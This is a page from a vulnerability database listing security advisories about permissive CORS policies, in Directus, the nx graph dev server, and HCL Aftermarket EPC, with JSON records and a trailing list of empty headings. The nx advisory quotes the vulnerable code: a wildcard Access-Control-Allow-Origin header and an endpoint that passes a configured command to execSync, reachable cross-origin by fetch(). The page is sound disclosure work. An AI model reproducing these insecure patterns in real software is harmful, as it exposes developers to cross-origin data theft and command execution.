  "details": "### Impact\n\nThe default value for the `CORS_ENABLED` and `CORS_ORIGIN` configuration was set to be very permissive by default. This could lead to unauthorized access in uncontrolled environments when the configuration hasn\u0027t been changed.\n\n### Patches\n\nThe default values for CORS have been changed in https://github.com/directus/directus/pull/12022 which is released under 9.7.0\n\n### Workarounds\n\nConfigure the CORS environment variables to match your project\u0027s usage, rather than leaving them at the (permissive) defaults.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [directus/directus](https://github.com/directus/directus)\n* Email us at [security@directus.io](mailto:security@directus.io)",
  "id": "GHSA-g27j-74fp-xfpr",
  "modified": "2025-04-14T22:07:39Z",
  "published": "2022-04-05T18:31:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/security/advisories/GHSA-g27j-74fp-xfpr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26969"
    },
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/pull/12022"
    },
    {
      "type": "WEB",
      "url": "https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/directus/directus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/blob/8daed9c41baeaf1d08c1e292bf9f0dcef65e48fb/docs/configuration/config-options.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/releases/tag/v9.7.0"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-DIRECTUS-2441822"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Insecure default value for CORS configuration"
}

GHSA-G2R8-WVMJ-JF5W

Vulnerability from github – Published: 2026-07-31 16:50 – Updated: 2026-07-31 16:50

Summary

`nx graph` dev server permissive CORS policy

Details

Summary

The local HTTP server started by nx graph sent Access-Control-Allow-Origin: * on every response, letting any website a developer visited read the server's responses cross-origin — including the full project graph and the output of the /help endpoint, which runs a target's configured help command. The practical impact is typically cross-origin information disclosure, but can be arbitrary command injection in rare cases.

Severity

Exploitation requires the developer to be running nx graph and to visit an attacker page. Any execution beyond benign help commands also requires a malicious target to already be present in the workspace (see Details).

Affected & Patched Versions

Package: nx (npm).

Affected: >= 17.0.4, < 22.7.2 and >= 23.0.0-beta.0, < 23.0.0-beta.2
Patched: 22.7.2+ (backport) and 23.0.0 (first in 23.0.0-beta.2)

The wildcard CORS header was introduced in 17.0.4; the /help execution endpoint in 19.4.0. The 21.x line is not patched — 21.x users should upgrade to 22.7.2 or later.

Details

nx graph starts a local server (default http://127.0.0.1:4211). Before the fix, its request handler set a wildcard CORS header on every response:

res.setHeader('Access-Control-Allow-Origin', '*');

The /help endpoint runs a target's configured command:

const command = target.metadata?.help?.command;
return execSync(command, { cwd: target.options?.cwd ?? workspaceRoot }).toString();

A GET /help is a CORS "simple request", so a malicious page could fetch() it with no preflight, and the wildcard header let the page read the result. This exposes the project graph (project names, file paths, dependencies, build configuration) and the output of any configured help command.

The command is not attacker-controlled through the request — it comes from the workspace's project configuration, and first-party plugins (jest, vite, cypress) populate it with benign, read-only help commands. For /help to run anything malicious, a target carrying a malicious help.command must already exist in the project graph, which can only be introduced by installing a malicious package or by altering the workspace's own code/configuration — both of which already grant code execution independent of this flaw.

The fix (#35494) removes the header; the browser's same-origin policy then blocks cross-origin reads.

References

Fix: nrwl/nx#35494
Introduced: nrwl/nx#20744 (CORS), nrwl/nx#26629 (/help)

Credits

Thanks to Nozomu Sasaki (Paul) (@morimori-dev) for finding and responsibly reporting this issue.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "17.0.4"
            },
            {
              "fixed": "22.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "nx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "23.0.0-beta.0"
            },
            {
              "fixed": "23.0.0-beta.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54753"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T16:50:24Z",
    "nvd_published_at": "2026-06-26T19:16:43Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe local HTTP server started by `nx graph` sent `Access-Control-Allow-Origin: *` on every response, letting any website a developer visited read the server\u0027s responses cross-origin \u2014 including the full project graph and the output of the `/help` endpoint, which runs a target\u0027s configured help command. The practical impact is typically **cross-origin information disclosure**, but can be arbitrary command injection in rare cases.\n\n## Severity\n\n\nExploitation requires the developer to be running `nx graph` and to visit an attacker page. Any execution beyond benign help commands also requires a malicious target to already be present in the workspace (see Details).\n\n## Affected \u0026 Patched Versions\n\nPackage: `nx` (npm).\n\n- **Affected:** `\u003e= 17.0.4, \u003c 22.7.2` and `\u003e= 23.0.0-beta.0, \u003c 23.0.0-beta.2`\n- **Patched:** `22.7.2`+ (backport) and `23.0.0` (first in `23.0.0-beta.2`)\n\nThe wildcard CORS header was introduced in `17.0.4`; the `/help` execution endpoint in `19.4.0`. **The `21.x` line is not patched** \u2014 `21.x` users should upgrade to `22.7.2` or later.\n\n## Details\n\n`nx graph` starts a local server (default `http://127.0.0.1:4211`). Before the fix, its request handler set a wildcard CORS header on every response:\n\n```ts\nres.setHeader(\u0027Access-Control-Allow-Origin\u0027, \u0027*\u0027);\n```\n\nThe `/help` endpoint runs a target\u0027s configured command:\n\n```ts\nconst command = target.metadata?.help?.command;\nreturn execSync(command, { cwd: target.options?.cwd ?? workspaceRoot }).toString();\n```\n\nA `GET /help` is a CORS \"simple request\", so a malicious page could `fetch()` it with no preflight, and the wildcard header let the page read the result. This exposes the project graph (project names, file paths, dependencies, build configuration) and the output of any configured help command.\n\nThe command is not attacker-controlled through the request \u2014 it comes from the workspace\u0027s project configuration, and first-party plugins (jest, vite, cypress) populate it with benign, read-only help commands. For `/help` to run anything malicious, a target carrying a malicious `help.command` must already exist in the project graph, which can only be introduced by **installing a malicious package** or by **altering the workspace\u0027s own code/configuration** \u2014 both of which already grant code execution independent of this flaw.\n\nThe fix ([#35494](https://github.com/nrwl/nx/pull/35494)) removes the header; the browser\u0027s same-origin policy then blocks cross-origin reads.\n\n## References\n\n- Fix: [nrwl/nx#35494](https://github.com/nrwl/nx/pull/35494)\n- Introduced: [nrwl/nx#20744](https://github.com/nrwl/nx/pull/20744) (CORS), [nrwl/nx#26629](https://github.com/nrwl/nx/pull/26629) (`/help`)\n\n## Credits\n\nThanks to Nozomu Sasaki (Paul) ([@morimori-dev](https://github.com/morimori-dev)) for finding and responsibly reporting this issue.",
  "id": "GHSA-g2r8-wvmj-jf5w",
  "modified": "2026-07-31T16:50:24Z",
  "published": "2026-07-31T16:50:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nrwl/nx/security/advisories/GHSA-g2r8-wvmj-jf5w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54753"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nrwl/nx/pull/35494"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nrwl/nx/commit/7620c1ffe598086ce5e66457c7e6e38799bb499d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nrwl/nx/commit/e59122c5569cf201561b9995ce4e34a304f4fb03"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nrwl/nx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nrwl/nx/releases/tag/22.7.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`nx graph` dev server permissive CORS policy"
}

GHSA-G6H8-P8P4-98F2

Vulnerability from github – Published: 2026-07-17 15:32 – Updated: 2026-07-17 15:32

Details

HCL Aftermarket EPC is vulnerable to attack as the application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain (*-Wildcard).

Severity

4.2 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-23578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T14:17:18Z",
    "severity": "MODERATE"
  },
  "details": "HCL Aftermarket EPC is vulnerable to attack as the application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain (*-Wildcard).",
  "id": "GHSA-g6h8-p8p4-98f2",
  "modified": "2026-07-17T15:32:30Z",
  "published": "2026-07-17T15:32:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23578"
    },
    {
      "type": "WEB",
      "url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0132294"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

CWE-942

Permissive Cross-domain Security Policy with Untrusted Domains

GHSA-CCQ9-R5CW-5HWQ

Summary

Details

PoC

Impact

Recommended Fix

GHSA-CVV3-VCH8-MP39

GHSA-F4W8-52PM-GHR9

GHSA-FP27-88FP-2PHG

Summary

Details

PoC

Impact

Remediation suggestion

GHSA-FQ2G-WF56-3PRG

GHSA-FQRJ-M2F5-X9PJ

GHSA-FWMW-87X4-WJV5

GHSA-G27J-74FP-XFPR

Impact

Patches

Workarounds

For more information

GHSA-G2R8-WVMJ-JF5W

Summary

Severity

Affected & Patched Versions

Details

References

Credits

GHSA-G6H8-P8P4-98F2

Mitigation

Mitigation

Mitigation